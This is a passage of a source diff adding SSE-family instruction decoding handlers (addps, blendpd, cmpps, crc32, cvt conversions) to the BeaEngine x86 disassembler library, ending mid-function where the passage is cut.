(*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========= 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + +/* ==================================================================== + * 0x 0f d0 + * ==================================================================== */ +void __bea_callspec__ addsubpd_(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+SIMD_FP_PACKED; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addsubps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+SIMD_FP_PACKED; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "addsubpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 55 + * ==================================================================== */ +void __bea_callspec__ andnps_VW(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "andnpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "andnps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 54 + * ==================================================================== */ +void __bea_callspec__ andps_VW(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "andpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "andps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 3a 0d + * ==================================================================== */ +void __bea_callspec__ blendpd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_BLENDING_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "blendpd "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 3a 0c + * ==================================================================== */ +void __bea_callspec__ blendps_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_BLENDING_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "blendps "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 15 + * ==================================================================== */ +void __bea_callspec__ blendvpd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_BLENDING_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "blendvpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 38 14 + * ==================================================================== */ +void __bea_callspec__ blendvps_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_BLENDING_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "blendvps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f c2 + * ==================================================================== */ +void __bea_callspec__ cmpps_VW(PDISASM pMyDisasm) +{ + + /* ========= 0xf2 */ + GV.ImmediatSize = 8; + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmppd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + (*pMyDisasm).Argument1.AccessMode = READ; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + +} + + +/* ==================================================================== + * 0x 0f 38 f0 + * ==================================================================== */ +void __bea_callspec__ crc32_GvEb(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION+ACCELERATOR_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "crc32 "); + #endif + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 64; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + } + else { + GV.MemDecoration = Arg2byte; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + } + + if (GV.OperandSize == 16) { + GV.OperandSize = 32; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.OperandSize = 16; + } + else { + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 f1 + * ==================================================================== */ +void __bea_callspec__ crc32_GvEv(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION+ACCELERATOR_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "crc32 "); + #endif + + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2dword; + } + else { + GV.MemDecoration = Arg2word; + } + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + + if (GV.OperandSize == 16) { + GV.OperandSize = 32; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.OperandSize = 16; + } + else { + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 2f + * ==================================================================== */ +void __bea_callspec__ comiss_VW(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "comisd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "comiss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 5a + * ==================================================================== */ +void __bea_callspec__ cvtps2pd_(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtsd2ss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtss2sd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtpd2ps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtps2pd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 5b + * ==================================================================== */ +void __bea_callspec__ cvtdq2ps_(PDISASM pMyDisasm) +{ + /* ========== 0xf3 */ + if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttps2dq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtps2dq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtdq2ps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 2a + * ==================================================================== */ +void __bea_callspec__ cvtpi2ps_(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtsi2sd "); + #endif + if (GV.REX.W_ == 1) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + /* ========== 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtsi2ss "); + #endif + if (GV.REX.W_ == 1) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtpi2pd "); + #endif + GV.MemDecoration = Arg2qword; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.MMX_ = 0; + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtpi2ps "); + #endif + GV.MemDecoration = Arg2qword; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.MMX_ = 0; + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } +} + + +/* ==================================================================== + * 0x 0f 2d + * ==================================================================== */ +void __bea_callspec__ cvtps2pi_(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtsd2si "); + #endif + if (GV.REX.W_ == 1) { + GV.MemDecoration = Arg2qword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg2qword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + /* ========== 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtss2si "); + #endif + if (GV.REX.W_ == 1) { + GV.MemDecoration = Arg2dword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg2dword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtpd2pi "); + #endif + GV.MemDecoration = Arg2dqword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.MMX_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtps2pi "); + #endif + GV.MemDecoration = Arg2qword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.MMX_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } +} + + +/* ==================================================================== + * 0x 0f 2c + * ==================================================================== */ +void __bea_callspec__ cvttps2pi_(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttsd2si "); + #endif + if (GV.REX.W_ == 1) { + GV.MemDecoration = Arg2qword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg2qword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } + /* ========== 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttss2si "); + #endif + GV.MemDecoration = Arg2dword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttpd2pi "); + #endif + GV.MemDecoration = Arg2dqword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.MMX_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttps2pi "); + #endif + GV.MemDecoration = Arg2qword; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.MMX_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } +} + + +/* ==================================================================== + * 0x 0f e6 + * ==================================================================== */ +void __bea_callspec__ cvtpd2dq_(PDISASM pMyDisasm) +{ + /* ========== 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtpd2dq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy 